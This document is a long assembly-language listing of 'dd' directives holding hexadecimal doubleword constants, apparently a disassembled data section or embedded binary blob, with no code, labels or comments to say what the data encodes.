		dd 7568105Dh, 196100DFh, 0CAB4F92Ah, 309287Dh, 209FCC7Bh
		dd 0DDA2CFB1h, 5E3D586Eh, 696FBC0Fh, 0C5E289A5h, 0D9C8A55Dh
		dd 870640EAh, 5C4B2414h, 5E68B4C0h, 8028221h, 3C270630h
		dd 0E7EC8383h, 0BDE02CE7h, 7FD2623h, 0F14B801h,	0E8C1DE29h
		dd 8A8B545Dh, 34C4812Eh, 0C5BB5300h, 0F845803Fh, 0DBD60EBh
		dd 389FB01h, 56355B67h,	0C681E671h, 19831D43h, 0A834870Ch
		dd 58089EFFh, 7CE95CF0h, 0FC7B48h, 0F4B8DEB6h, 3062639h
		dd 0E00FC57Ah, 20E655B4h, 36682CF9h, 937200F6h,	5099C249h
		dd 10EAFD41h, 0AEBE7F16h, 0A714DD00h, 114FEBh, 5C0281E4h
		dd 0C641DE90h, 4C360B0Fh, 51A1A0DAh, 568304h, 7812D74Dh
		dd 76FBA51Dh, 0C7CF241Eh, 87C161C0h, 0A16D0Fh, 0AF68A47Dh
		dd 0B82169D3h, 52C65E0Bh, 73C0F360h, 0DE4860F8h, 644B6596h
		dd 0DBBA1F3Fh, 50794058h, 8D219202h, 8B8E2097h,	961DB195h
		dd 7AD8978h, 7F492DCh, 1A48BC66h, 7BBF3020h, 162ADC87h
		dd 8100388Bh, 23D18E2h,	27858977h, 4C322D35h, 2743F655h
		dd 0DBC0FECDh, 2F893DCAh, 4D2D49B5h, 0AA7A3AD7h, 0DB80660Ah
		dd 0E18D05C1h, 6858371Bh, 71BD2B84h, 4F611FF0h,	9FA6E60h
		dd 82713D08h, 0F385C716h, 8337AD2Dh, 0F4DB5601h, 0AE604615h
		dd 8A5B0A37h, 1FFE52F7h, 592D2075h, 0C0FA6D61h,	6FDC562Dh
		dd 1850908h, 7EB010Ah, 0C2E99D61h, 0F40B5C55h, 0CA5BFB13h
		dd 0E480AADBh, 75E9C18Bh, 666017C0h, 95A8D88Ch,	44350C04h
		dd 0E9AA016Ah, 7DBE823Bh, 8532A25h, 8B000781h, 0CEFC1FEh
		dd 20048068h, 28F9EDCh,	0D80D4957h, 95FF2816h, 32E9381Ah
		dd 0A78AAE4Ah, 0C530DF04h, 264905A9h, 50413F38h, 97E10E24h
		dd 6A50F983h, 56057C1Ah, 6112006Eh, 0EAE0C1C3h,	72F0E0BAh
		dd 0DEEB9808h, 1831683h, 91958972h, 0FF652520h,	3DF65CCEh
		dd 0AA2A2641h, 0A87F7437h, 3D66A725h, 0C22B5819h, 0AF6DF01Ah
		dd 5A4D3809h, 5D128C04h, 3C50B780h, 7681D003h, 1945643Ah
		dd 38D0AD84h, 2710202Dh, 0C5A6D9E9h, 8D20FEC8h,	40031B11h
		dd 0C2BE4F3Ch, 79217920h, 1298F58Bh, 0F8052D7Dh, 0C1C5BD8h
		dd 20D16303h, 4D7B1BF5h, 0C9120862h, 5155090Ah,	34F9497Bh
		dd 808B5109h, 0A98110BFh, 414A3B0h, 0C03359B5h,	0C1BDAAC3h
		dd 58FD24CAh, 0D2086847h, 0F2D49AA7h, 439B7455h, 0EB2F17FDh
		dd 0A7B510D3h, 0D1B724DBh, 7BB90706h, 277E907Ch, 0FD3A8353h
		dd 94A90FB5h, 509B14F4h, 810959E5h, 0DC636FC1h,	0AEBB411Fh
		dd 91432B18h, 0A831FFC3h, 60FCC9B8h, 0F281155Ah, 0D51E6171h
		dd 0D84E600Bh, 0C0279E53h, 5A0C291h, 0F259B4Ch,	0B29A2587h
		dd 80183F27h, 44F90221h, 6748BC7h, 0B43798Ah, 92F23E13h
		dd 0A6402734h, 88B04C80h, 0F9013F8Fh, 8A61E980h, 7E824C5h
		dd 4490888h, 0C2E751A6h, 6119AEC4h, 2BB75DD8h, 824B74D8h
		dd 0C62C1843h, 0F1E60E9h, 27D7E63Eh, 95D1A200h,	1B7F1822h
		dd 0F52B0691h, 0F8ACE899h, 541FF84Ch, 22F09547h, 44747E00h
		dd 99242FCDh, 2E960723h, 33E8EAE4h, 91A045CCh, 4F0021A4h
		dd 7CCB4356h, 66C0A8B5h, 215C0854h, 5647040Fh, 61ACCE65h
		dd 509B4114h, 153BC0h, 8A48C35Ch, 93F4A4ABh, 23E31600h
		dd 41AAB792h, 54B80064h, 0FC511D15h, 50C19438h,	81D817C8h
		dd 32C9080h, 0AAB5298Bh, 0FDC47E00h, 0B02FC55Ch, 9120C0AEh
		dd 0E6585938h, 0B89C20A7h, 0E7E032E3h, 11564230h, 8844CB5Eh
		dd 5A038059h, 37A9EF56h, 0E60BB200h, 404E871Dh,	60897B45h
		dd 1A842841h, 2F03FDD5h, 2795B41Ch, 80083004h, 0D5156921h
		dd 0BCA96601h, 355ACF8Ch, 70FF1DF4h, 5DD60549h,	3B2DE0CDh
		dd 5B23C0h, 6FAFC299h, 870DEE55h, 20488A89h, 805AA891h
		dd 2FFED51Bh, 81448C14h, 0D5120266h, 0BA514A44h, 11E4F8E0h
		dd 3F1B280Ah, 0B020DC85h, 22783402h, 0A4B68996h, 1E604134h
		dd 2F23F1D5h, 9B11FCh, 0A6D5196Dh, 0DF9F6B5Ah, 2E2C00C8h
		dd 0E71B73D1h, 28483907h, 76530F05h, 13CCD858h,	462F2414h
		dd 0B8703728h, 29F850CCh, 1138042Fh, 1064009Dh,	0DB28C6D5h
		dd 1A893063h, 33B711B9h, 4786A718h, 845F0360h, 1F024646h
		dd 0F42FF2D5h, 6A109C31h, 1500D516h, 5B32250h, 0C290E7CCh
		dd 0E0E8EBD8h, 5643E8B0h, 5CCB5F11h, 5BE0A29Eh,	0AC0187ECh
		dd 0BB4A174Ch, 0CDD0B248h, 2B2F15D0h, 5864C453h, 564060E1h
		dd 54CB235Ch, 13A5811h,	0B4125680h, 78963371h, 0ACA5F318h
		dd 14A40FC0h, 0C495F013h, 5EB10078h, 58284285h,	10339424h
		dd 0BB0868h, 8556D721h,	51EB17A9h, 19AF6A30h, 0C0442EA2h
		dd 0EE29E771h, 1712CB5Dh, 0C805A858h, 98409889h, 0DDD736Bh
		dd 24F400E3h, 0F388CCD4h, 0C6001634h, 2748F680h, 6447D5Ch
		dd 0CF792151h, 0CD00594Bh, 0DB8D1284h, 0EB6E8204h, 7FCCF2F4h
		dd 4DB8AAAFh, 0ACF6C060h, 0A702E74Eh, 3DCA9A55h, 2FF440D7h
		dd 106B49C7h, 0ADA9F03Ch, 18A5F198h, 110A01DBh,	0CB14127Dh
		dd 88342143h, 90AF0360h, 0C010C8EDh, 2843855Fh,	0BE225046h
		dd 8557D000h, 4C4443EFh
		dd 0B7BA3A76h, 0AA10998Ah, 0BC8982B8h, 7444CC93h, 244A2B21h
		dd 9F465C10h, 681E650Eh, 0CD61D10Fh, 51928427h,	3346CEF0h
		dd 3198E23Ch, 84CBF4ECh, 0F330089Ah, 5360E1A1h,	70D90069h
		dd 0F4493F7Ah, 0C30D8CE2h, 0D0BAFBEEh, 0CC032AD9h, 4479692h
		dd 0C48171CEh, 8DABF263h, 282FC679h, 28C7EC20h,	6A0CBFFh
		dd 685D9172h, 8803A994h, 13E1E9F2h, 6B45B01Dh, 8108CCD5h
		dd 0FA005121h, 3577CFE9h, 0C0906992h, 0B0DDBD19h, 5908562Dh
		dd 809C68C7h, 1A617A32h, 31011230h, 9F3C8F50h, 2181684Eh
		dd 0E045F3E8h, 3187F01Dh, 0D7102492h, 4B02B8BBh, 0F375110Bh
		dd 28917CC2h, 8421817h,	38284E85h, 0EB40B8C4h, 12E1855Ah
		dd 3C65BD01h, 0D3BE955Ch, 434F4030h, 3159E284h,	17CCD88Eh
		dd 2EE62C13h, 14B31800h, 9147D289h, 189EF11Ch, 8390FA6h
		dd 441255EDh, 12418708h, 0A0612040h, 0F33DF0E3h, 0BAE2B023h
		dd 2FE3B30h, 2CB3B9BCh,	0E04444C7h, 6BFE720h, 0EBCC6A27h
		dd 4278F097h, 8C90C074h, 5AD71002h, 60718055h, 838EEC88h
		dd 1148823h, 284F8543h,	9CC4E30h, 54855BD4h, 0D0F0607h
		dd 4B20805Ch, 0CDF013B1h, 7F503EABh, 0E61F028Ch, 0C1A7BC8Fh
		dd 0DF201464h, 0CC95304Eh, 107641D9h, 991CC200h, 33BF11FBh
		dd 4330C9C0h, 18440084h, 0A0902318h, 0B15AFB24h, 1881F1DCh
		dd 0F0D300DFh, 5FD84A2Ah, 0E2090AE3h, 0B40D112h, 9837F4h
		dd 3C071BAAh, 0D2092CA7h, 498FAA1h, 0F3605AECh,	13231EE9h
		dd 1861105h, 0C5E9FB56h, 0C441F6DAh, 2E00A0A7h,	0AF1355DBh
		dd 0C0245FA9h, 2DFAE0C0h, 0D1F0B9E9h, 0E3F1858h, 2BD91F68h
		dd 0EE2E76A0h, 945CF083h, 8C80E8BCh, 58AB000h, 437363B2h
		dd 4A1C014Fh, 0A40EF579h, 731C2612h, 284D8509h,	8C1C40h
		dd 0D38559D6h, 0F34C6466h, 7619A960h, 549FAF8h,	0BDA296B9h
		dd 0FC6F79h, 50F29668h,	1402E99Eh, 10AC8822h, 94BEC900h
		dd 0DAD72986h, 99685415h, 813900CCh, 9283558Ah,	0C67F0049h
		dd 2F5D71A1h, 0C2319535h, 0E7582996h, 44230E0h,	8CCB45F9h
		dd 0DB5C83B5h, 3BE90194h, 880F20EFh, 2342CE9Ah,	0D4411D92h
		dd 0E2488740h, 3793C17Bh, 0AA88D135h, 0ADFE0430h, 75666030h
		dd 24101F32h, 0A90C263Bh, 13C17BBCh, 2F3C24E9h,	70446624h
		dd 0F9805411h, 0D51318E9h, 0A887448Ch, 0C9E9E11Ch, 0BF1B2382h
		dd 0EDFC62B6h, 0DE0EC068h, 0B0A0D069h, 0F081C4F7h, 5D004032h
		dd 8E892DF9h, 0D40EC92Ah, 4015DF99h, 3E6F1486h,	429F0161h
		dd 0CB13CE9Ah, 1E889994h, 0B2E3A0E0h, 441CC795h, 0FB886080h
		dd 64BB0190h, 3F810B71h, 54D46111h, 0A7AC04E4h,	0CAE20020h
		dd 263416BDh, 11B082CBh, 855C8011h, 99682840h, 54D1C1DCh
		dd 5267D485h, 79DAB602h, 9794022Fh, 80A51124h, 531B2C34h
		dd 0F1C4B187h, 0E1FA185Dh, 1C815CBCh, 515CE119h, 67C7215h
		dd 8F07132Eh, 78C85260h, 2B30BFF2h, 0A584058Bh,	32D0CC4Dh
		dd 18305BD4h, 2FFF12D5h, 24DCCB0Ch, 1C014F67h, 285E6EBFh
		dd 0C79837DCh, 407CC98h, 0A2A080A7h, 0E1C94A2Dh, 46F01068h
		dd 0D2AD3818h, 10E32E16h, 2E93689Dh, 0FBA23BCh,	0AB0138FDh
		dd 3C035C9Dh, 7127006Ch, 2CFB7044h, 0A8D72B13h,	735A78C8h
		dd 150CA600h, 0C117CA60h, 911E2251h, 0B08BF880h, 56609C84h
		dd 0BC005546h, 754C0FCBh, 28029622h, 1B8BBF9Eh,	5D1463E6h
		dd 1CB898B8h, 10F0B258h, 0BF025E73h, 947807CFh,	0B41DCC8Bh
		dd 2004C63Fh, 0DB5A2FFDh, 7331C058h, 0C6572BA2h, 219B68A9h
		dd 0C17DCD0Ah, 2072049Dh, 7A6BE784h, 3171FC3Ah,	0D4D0A22Eh
		dd 0E3CE00A7h, 24864973h, 23982E93h, 9E9805BEh,	64E1C0D1h
		dd 0C0A60175h, 4E02FB46h, 64CB4256h, 76C0132h, 4CF45646h
		dd 0FDA20751h, 0C99BF27Bh, 0EA4050CFh, 2E53D311h, 495C2899h
		dd 0A29F8802h, 0F49C7C58h, 9F4674h, 0D0EA2F23h,	546BF23Dh
		dd 0F06C89Eh, 3435759h,	0B7DF009Dh, 0EAEC8A0Eh,	7D0B6096h
		dd 118C1D91h, 0E2AE809Ch, 0AA4DC4Dh, 0C067C48Fh, 0ECC54960h
		dd 45609F64h, 0DC142BCEh, 4D489C6h, 0BA9B1390h,	1F220480h
		dd 108748A4h, 571B9204h, 5C274389h, 5618299Eh, 189ED19Ch
		dd 0A7030067h, 3DF1A00Fh, 0A8602F99h, 0CFBE4A21h, 872E32DEh
		dd 944C56D8h, 1AE9FF04h, 8D62E513h, 0E9E7AA20h,	3B4C0003h
		dd 32111938h, 2717CD08h, 494ABFCh, 9F481881h, 0E316108Eh
		dd 30D890ADh, 294CA863h, 5C074E20h, 11F305E8h, 0B8381245h
		dd 43C52A0h, 1D4E5F0Ch,	514BDF9Fh, 65AC8788h, 5C1518F0h
		dd 204B6087h, 0E181F5A4h, 0C4205953h, 99605CDBh, 0E60ED55Ah
		dd 0E0F4686Bh, 0C713511Dh, 98CD6B27h, 33E8BC0Eh, 2DE61400h
		dd 310CA8Dh, 7BE10B41h,	0EAE2F268h, 5CE4BC45h, 0F663B60h
		dd 53B6C500h, 370E2CFAh, 482CE7ECh, 59B6050h, 0D97141Fh
		dd 0A228B3B6h, 81803380h, 49032901h, 12684B8Eh,	89B6CFh
		dd 0F6D82A5Bh, 29D27D9Ch, 6C97802Ch, 7DA54674h,	472090B0h
		dd 48D10CB2h, 0BB899488h, 63130B0Fh, 86434296h,	53C06095h
		dd 82A401ACh, 0E0CD44FEh, 4BF0800Ah, 1DE654F0h,	0FAACA993h
		dd 56774918h, 966CCB27h, 41060010h, 5FF48256h, 430BE5D6h
		dd 2BAC9817h, 44A44724h, 0EB22605Ah, 0D6A05B8h,	14D8FBC5h
		dd 0A5261CC4h, 7BE40540h, 0C8548E22h, 0BB0BC3BFh, 0D2CF79A0h
		dd 1F091A73h, 1270FA2h,	888FE3A0h, 2F2AA840h, 10984D58h
		dd 7438D724h, 0EF015946h, 0F40DC927h, 7CC4D5CBh, 0E5A201D8h
		dd 0BB5C1461h, 0A706302Ch, 0A926174Eh, 0BDD15099h, 0D4D1F919h
		dd 550319F3h, 112BCCE5h, 9772D1EDh, 2D5B61D4h, 0F4A326A2h
		dd 4ED1D13h, 0CEB594ECh, 0C0838874h, 79306C9h, 0FE9CB700h
		dd 0BD71208Dh, 4CC20717h, 7210763Eh, 0B06070AAh, 0ACA2EAC7h
		dd 514F9867h, 8F8E5E81h, 20503CDEh, 4FF319B4h, 50899093h
		dd 0C3439184h, 50BDFF0Ah, 0FD00B426h, 0D714B27Dh, 34418223h
		dd 478BF857h, 1120EC02h, 51215B78h, 18837970h, 0E12E004Eh
		dd 0CD16E670h, 0D704275Bh, 77EC174Bh, 0A5F55080h, 41C9CA37h
		dd 40D026FEh, 0D6E27927h, 74E6E006h, 5F198B28h,	106EA4h
		dd 710D4B8Dh, 25E99B63h, 7400F72Bh, 0DFA8BD4Ah,	0CC414E2Ch
		dd 38605916h, 271DE9FEh, 9496FD13h, 0E9E65500h,	117D43D8h
		dd 5BE80B7Bh, 0B4E7340Bh, 0C4639A64h, 3B035FFFh, 480C5C7Bh
		dd 70EB26CFh, 401F1630h, 0A2644384h, 3A0E8B0h, 1C908C73h
		dd 527B6700h, 0EA7A206Ch, 14F358C8h, 6091D730h,	161099E3h
		dd 270E40A5h, 10E79369h, 0EC5BC020h, 0C85A0FCDh, 0F088E013h
		dd 0A7DF1611h, 503C40AEh, 0A29768E7h, 244F1225h, 83459344h
		dd 0F390000Dh, 76F4FA78h, 35C69A04h, 14D0A02Fh,	0B81ECCEh
		dd 7F03633h, 46ADFC04h,	0F0E9C695h, 0D72D12E3h,	0E270906Bh
		dd 0F700F1FDh, 0A2957C50h, 0C389732h, 64EC08E5h, 0CF3093E8h
		dd 65BA9147h, 0BFE3EF0h, 20A21427h, 0FFE0C5BCh,	5F30BF77h
		dd 5115D0B9h, 94BE03A4h, 992D6DC1h, 2F7C01CDh, 0C023DFh
		dd 2D9561ADh, 149098C2h, 0C60B5FC1h, 68405D8Fh,	80A9270Ch
		dd 7202C1Dh, 51590454h,	6A4A51Ch, 619588h, 9D42A9CCh, 0E4E635EDh
		dd 0A57A400h, 210B114Fh, 632903FEh, 2628A2EAh, 0EFCBD90Fh
		dd 0C0A3EB15h, 60F27F54h, 1D9059ACh, 1005635h, 4A2ECEEBh
		dd 13DF5FE4h, 0C0F71B2Fh, 90F27870h, 0FB2C31C1h, 0E2C7CBFDh
		dd 0E468C5EBh
		dd 60616255h, 1CD10F8h,	844C8AACh, 0D2980FCAh, 0F7201852h
		dd 0E418C4B8h, 0A0580583h, 0E08AA4F1h, 89C9CEFh, 3C84CB43h
		dd 0FC0A2037h, 9BF8A8ACh, 8FD9702Ch, 49707A00h,	32FDA2Dh
		dd 908E6487h, 3CCAD68h,	0B6AC60E6h, 8BBCF8C4h, 25200711h
		dd 0E5C63FDAh, 0D4308093h, 9400F3C5h, 1071743Bh, 9EEA0EEDh
		dd 0B9465E1Ch, 0AE57B700h, 0D51159A9h, 3CBC7F09h, 93BCA2F3h
		dd 0E678A4C9h, 41564D60h, 704CCB26h, 450270h, 9C261C56h
		dd 130D818Dh, 4EF74410h, 9692E100h, 7CAAD09h, 0BC798026h
		dd 9A12E42Ch, 2F775406h, 0DC609C28h, 0B5E74700h, 8211E10Eh
		dd 0A9B91B1Dh, 83C00880h, 0D3F188DBh, 7C5C100Bh, 9B380240h
		dd 44E0C749h, 5C9560B9h, 462B0780h, 0C2F76952h,	4C44CFB9h
		dd 33DBFB00h, 4E9BDF0Bh, 0FC8E0061h, 8FD53D3h, 0BD02DAC4h
		dd 0BF295D20h, 48A45073h, 0C234B0E8h, 0F240E241h, 0FC9A3058h
		dd 3F0367E0h, 132E48BDh, 3480FC97h, 0C0A7F3E1h,	0E107BC1h
		dd 0C103E490h, 1612430Fh, 0E532D021h, 11720433h, 0D183D4AFh
		dd 23F04B20h, 7C81280h,	1A2C44B4h, 6058B313h, 803B0CD9h
		dd 26148BB2h, 0EB8AD42h, 6FBDD92Eh, 63A58AC0h, 2D50A24Bh
		dd 210B4E6Ch, 10C19593h, 74597674h, 164A063Ah, 60BB67E3h
		dd 1510C898h, 9513446Bh, 0E7D023CFh, 401448E5h,	0CC185011h
		dd 0C51D6953h, 0CEFF5900h, 0D0A17A72h, 208F006Ch, 95E625C4h
		dd 82006BB8h, 0D2FE6FD9h, 712FC541h, 0E2509074h, 0FCC72495h
		dd 4C45A510h, 31608CE4h, 3672E3F2h, 0CF2A9B01h,	0EF3C126Bh
		dd 44272828h, 60C0086Dh, 80BA9Ah, 7F14C7DFh, 3CB30ACEh
		dd 0A9804EFCh, 0A0A372BCh, 52D76E4h, 10C9CDDFh,	5B54E0C7h
		dd 0E9FC048Ch, 0AC0D131Fh, 0E457B0B0h, 82D400E9h, 0C3CAB8E5h
		dd 510BEFAEh, 0A4A79414h, 4F4093ECh, 968E4D3Ah,	2AF76500h
		dd 0D15B5AEh, 0F2513DAh, 0FE2CB0D8h, 0B0C7113Ah, 8E6BA0A1h
		dd 149A0F5Dh, 378679B4h, 2E03B9A9h, 8221D0BCh, 0C4E6A454h
		dd 167ED7E0h, 0C479B20Fh, 0D9C0A1B0h, 0FD3045BAh, 0C0389884h
		dd 0E3CDC268h, 1F005C08h, 0E65690B3h, 0C9CC29h,	88C56B1Dh
		dd 0A7DB4EA6h, 42FCA13h, 5BD348C8h, 731C3B8Eh, 0D9C5018Ch
		dd 8AB11413h, 186F2FB7h, 0AA827C00h, 4347E13Eh,	0A9A02710h
		dd 21E7881Eh, 465CAC24h, 2B05029Bh, 0E4AE1D51h,	0AA451Ch
		dd 0BC96ABFh, 2588FA4Ch, 0EC14083Bh, 8B6EF502h,	0CB00C047h
		dd 40ED805Eh, 0A3918027h, 1126373Ch, 4F1B731h, 406B2C93h
		dd 0EC90CF0Bh, 4D0FA3B5h, 0CAEC75h, 223F12F6h, 0ACB65C84h
		dd 9E4A4B12h, 9FD38074h, 92FE3F7h, 78294EAAh, 0B0C94C32h
		dd 6A28F472h, 50B84468h, 2D125400h, 624985E4h, 0B43468A6h
		dd 0B9790CD9h, 0D10D7418h, 3AE5C032h, 88C894D3h, 0CDDE002Eh
		dd 0BF71F7C5h, 98C2CF07h, 48C95BE9h, 0BD4A18h, 4D4C37B0h
		dd 812BD7BAh, 0AF351A00h, 88956B38h, 7CDA1375h,	7346F3Eh
		dd 0BDF25774h, 7F9D9C50h, 13DF045Dh, 0B428CF2Ch, 6E41FDD4h
		dd 83A29023h, 4EFE830h,	6C31607Ch, 0D080E10Bh, 4304CDE5h
		dd 7225A828h, 8CE288B2h, 0BEC530h, 191CCCC8h, 48CE9598h
		dd 777613F0h, 1F040894h, 0F0009FF4h, 0B31BD7A5h, 8CD9B0A2h
		dd 0C5198479h, 0F9422F3h, 4055CE7Ch, 44948453h,	0E08B0218h
		dd 30CB2BD1h, 0CF27540Ah, 0B3F24020h, 0CB008FDDh, 2E5F96A5h
		dd 80BF6F03h, 0B2636A4Eh, 928989h, 19625B39h, 519021BCh
		dd 3057F803h, 0D12A5349h, 31B9AAF3h, 97DF370Bh,	15E15901h
		dd 4C4C325Ch, 0A1413D8h, 0BB887CCFh, 0C63207C0h, 90F04BE0h
		dd 198D8C64h, 6F06F700h, 0DC5A99A8h, 0FBC9018h,	0F0897BD9h
		dd 700FCD22h, 0F23854D0h, 0C03E4ECFh, 0EB008C7Ah, 11EF6983h
		dd 0A3B09FBFh, 90C1E0F8h, 0D5E80050h, 892B4097h, 54043194h
		dd 5C41A6A0h, 1519A8C0h, 0F4A80088h, 107A8DF1h,	970195B8h
		dd 0A7A07441h, 0B1D3F080h, 0A4EC9B04h, 4A96E8E5h, 69DC405Ch
		dd 8354BDFCh, 218C28CDh, 285C1801h, 9431498Eh, 0BF6B2987h
		dd 0EB6DCDC0h, 774FE42Eh, 80230C2Fh, 981B7E00h,	0B2D469Eh
		dd 8B0F9B10h, 9942B0B0h, 81081422h, 0ACAD38Ch, 0A8205800h
		dd 60BFC487h, 2A5420h, 0A8BE740Bh, 0EE8E267Eh, 28962704h
		dd 60971F03h, 586C06C2h, 321BF8D4h, 68188297h, 1DB94454h
		dd 0D5C0558Ah, 0EC028034h, 0D09F0032h, 0C5EFAD03h, 710EB125h
		dd 0FA441C6Ah, 74305CC0h, 0ED3B8046h, 181C7A80h, 6E2E8AC6h
		dd 17BF2F13h, 69EC1480h, 0E84014AAh, 1F189090h,	0E5A2F196h
		dd 909701E8h, 4A769A8h,	578927F5h, 1930C045h, 3015276h
		dd 953B4959h, 0FBF0C3BEh, 0CBDD246Dh, 992109E4h, 0B4AB4C82h
		dd 0C480C512h, 8FF16086h, 50CF2F27h, 0C08B6C24h, 94EAF745h
		dd 62695200h, 0F8A2836Bh, 6013762Eh, 99934185h,	51008A0Bh
		dd 25E36846h, 2A5B653h,	0DD77109h, 0E0C1C636h, 46A016C9h
		dd 0E9F80257h, 31ED131Bh, 0E0AB108Fh, 7BEB00E9h, 0E82E4C05h
		dd 94095FF1h, 1110A249h, 302D69DCh, 0B097E200h,	248C67BEh
		dd 2C33800h, 3A5BB6E5h,	4D1D0A5Ah, 81B8AF88h, 0ED216052h
		dd 6609ECADh, 17CAAC0Bh, 9D5C70CCh, 9E04E037h, 48C1BB89h
		dd 28008EB0h, 109E842Ah, 1355467Ch, 8888CD51h, 42294BA2h
		dd 952AC2B8h, 670F8DBh,	0B0CD1DB1h, 0DA700A5h, 127750E4h
		dd 1784E127h, 815991ECh, 4BDACD9Eh, 610FBAFFh, 0B191238Ch
		dd 2FCA0F46h, 2C18583Ch, 0CEBC242Bh, 20681664h,	0DB25FA94h
		dd 769B870Dh, 0FE86AC3h, 5FCF0068h, 78EC61BBh, 162CC8ACh
		dd 0F16E3459h, 0B982458Bh, 0B0F12028h, 855DEA60h, 2867166h
		dd 5B67CAD7h, 0A0F8FFBAh, 0DC25A8B0h, 44E067EAh, 0FBF561BCh
		dd 540C3C80h, 104B8276h, 80B7A52Eh, 46761CACh, 0C4F2008Ch
		dd 46CC42D2h, 12B7095Ch, 0B4482999h, 1B27D48Fh,	2B9868A7h
		dd 76789442h, 0BC019D46h, 88212FC0h, 81980AEh, 0DF56309Eh
		dd 2BF20159h, 2D99191Dh, 0E52180ABh, 401172CEh,	4454B810h
		dd 0C00CB95h, 21C84E8Ch, 19CF3F2h, 30676FC1h, 20E0E4D9h
		dd 0FF14BB6Dh, 0ED8E15Ch, 0EE1D2478h, 11C0F817h, 5BE92C9Ah
		dd 3C824930h, 7482B3EFh, 833D5ABBh, 82CE3E5h, 853342B7h
		dd 7A0B2479h, 0D9A87940h, 1241881h, 74330384h, 20D06AEFh
		dd 6029E2Ch, 18DE2252h,	4B9E40FAh, 4EDFF83Bh, 20C4C4A3h
		dd 0DBCD4474h, 0E36C4610h, 405F6710h, 0CF563780h, 0E85C4C18h
		dd 711F8C83h, 0AC002565h, 2ECABBC9h, 4EACB0ADh,	0A8508554h
		dd 30FEBD58h, 0CF4E84CAh, 63C0605Fh, 51F6DD5h, 0F13F00C3h
		dd 5BE65F30h, 0A0078E7Fh, 72232666h, 29781D90h,	973335BFh
		dd 0EE28B1E0h, 96D834DBh, 0D7A30133h, 3C1D38ACh, 92839D3h
		dd 4790CBC7h, 608064E4h, 31ADD851h, 0EF580F52h,	40EA0248h
		dd 0E4F05E1Ch, 0EDCE0213h, 86B86FC7h, 4162F8F2h, 134BB30h
		dd 0F0E559CFh, 7C9013A5h, 13239B20h, 9B2BCD41h,	5C6D8714h
		dd 5E3B3DC0h, 1DBD09F9h, 0C090CFD1h, 0FE33F28Dh, 9E88A87Eh
		dd 97FC0099h, 0EC829672h, 2E7C59CEh, 0C6C25600h, 40D43CD9h
		dd 9F870032h, 7E346C10h, 8C014730h, 13B6D703h, 0B5206892h
		dd 4F50038h, 59849D0Fh,	671FBD4Ah, 45C0427Fh, 0E6B3BF12h
		dd 0EC73DA9h, 4FC99C83h, 0DDC064FCh, 0A300097Eh, 0D4627907h
		dd 2A5833h, 8DE59D8Fh, 3DFA5742h, 41EAA200h, 76D9B10h
		dd 0AA9800F5h, 3AD1C5AEh
		dd 621D325Dh, 518161C3h, 1FB4CC56h, 0C6259880h,	8AEB0A4Bh
		dd 79B7ECF5h, 0EA97F300h, 5F3215D8h, 0F49C00BEh, 0A4CC6E8Bh
		dd 2600D5FDh, 1C3B39FEh, 96E215h, 1D6742C3h, 8B08B914h
		dd 72C8139h, 4A7FD07Eh,	0EA1205F0h, 115200D2h, 0B3955144h
		dd 106C0A4h, 0DE4FEE62h, 0ACE707E0h, 7030A7B0h,	3D2B13B9h
		dd 0A079A400h, 0E5F6DDFh, 0EDE92AD7h, 610A00D4h, 749F7E94h
		dd 0C000769Dh, 3B5606F6h, 1DDE3624h, 4F432A0Ch,	378C032Dh
		dd 940070F8h, 73266499h, 0B5313Eh, 0F53B6C0Dh, 0E7E52CCFh
		dd 6143D030h, 0E95611Bh, 46C3566Dh, 7405F4E0h, 8B00F171h
		dd 3BEEB151h, 3AE82FA1h, 0CF80C561h, 5245033Ah,	15017D71h
		dd 4079989Bh, 0D6C08E31h, 0DA6000D5h, 0B50E7A6Bh, 0A000B234h
		dd 0AD4CCFFBh, 0F7973E1h, 493DDAFFh, 0CBE08E8Fh, 506B971Ch
		dd 0BD95C715h, 0D29E00F0h, 685DB55Fh, 0B91D052Ch, 873F01F7h
		dd 6076E778h, 74FD57ACh, 4FD65900h, 8AA41BCAh, 0AB7A16h
		dd 0C74667DAh, 0D9E52B26h, 4294F70Eh, 0E1162E63h, 9A59D35Bh
		dd 0F6E8440h, 0D79705ABh, 0C86A5ED2h, 0A700B6A8h, 757C03C2h
		dd 335312h, 6360990Eh, 83CB5AE1h, 65228613h, 711C00FAh
		dd 43EFB11Ch, 390A3C92h, 0E8AC75A8h, 4C1A5B00h,	2218092h
		dd 285C452Dh, 80A02C34h, 41677423h, 86F3D201h, 0A684BC8h
		dd 7360960h, 402F4AE1h,	84A8F053h, 0F3181234h, 0F058ADDFh
		dd 0EA8A07AFh, 5008190Ah, 5785C23Ah, 3043DE26h,	64E9A380h
		dd 1E809413h, 0E93279DAh, 0B2EA09BCh, 0AE6C85h,	3C52EE92h
		dd 52A7399h, 0DE00D803h, 6A81A94h, 24108086h, 81D0D050h
		dd 3F6723BFh, 66ACCC9Eh, 1B78E9C0h, 2AE34A5Ah, 84121Dh
		dd 33978127h, 0C2496F3Fh, 702C3200h, 0AF048AEAh, 48B0C4CDh
		dd 1A8640EBh, 9F23AACh,	49CCFD6Bh, 19619200h, 2D169DF0h
		dd 130041E9h, 1FFC9E8h,	0F33E00F7h, 57D96702h, 2B073676h
		dd 9D55305Eh, 0E92E43F0h, 4908009Ch, 638B95FDh,	710087C7h
		dd 0B9BC0EC1h, 8818D1h,	0E365795Ch, 0B2D290F4h,	38DC1E74h
		dd 0D0680039h, 9DFB1180h, 0A9480088h, 2CF1E070h, 59007B29h
		dd 0FACD4BCh, 0EC435680h, 9A43BC8h, 86BBD080h, 7F89D511h
		dd 236F3A0Fh, 7A59B8ADh, 80CB00DEh, 9454490Bh, 3E003230h
		dd 6C061157h, 0C04BAB58h, 0BF051670h, 0ED48DBE8h, 6F670260h
		dd 5670D11Ah, 0F9010088h, 895E4F1h, 802A0E0Fh, 0D55047E8h
		dd 57412F60h, 0ADD700B9h, 82A656B2h, 0FB0E32B7h, 0C1D38DF2h
		dd 520C2ECFh, 0C4BC1C4h, 0BCC360E0h, 1300AFA0h,	5E2A6E65h
		dd 0D8B47Eh, 4CE4888Ch,	5939BC7h, 0E9131B00h, 0FA54743Fh
		dd 59810002h, 225FDC50h, 197CA45Bh, 7B84BB50h, 0D8960700h
		dd 4BD52E36h, 8EEA030Dh, 0D2B2A5B4h, 0E4409AF0h, 0E1143Eh
		dd 0DA7A45Dh, 0EA516043h, 614A1DCCh, 0EB4D810Ah, 64F326A1h
		dd 5C003D70h, 0E5A94BA8h, 198C2Eh, 6D9840A2h, 0ABD2113h
		dd 9E533900h, 2AE2242h,	897E01C1h, 8E69343Ch, 0EDFFC09Ah
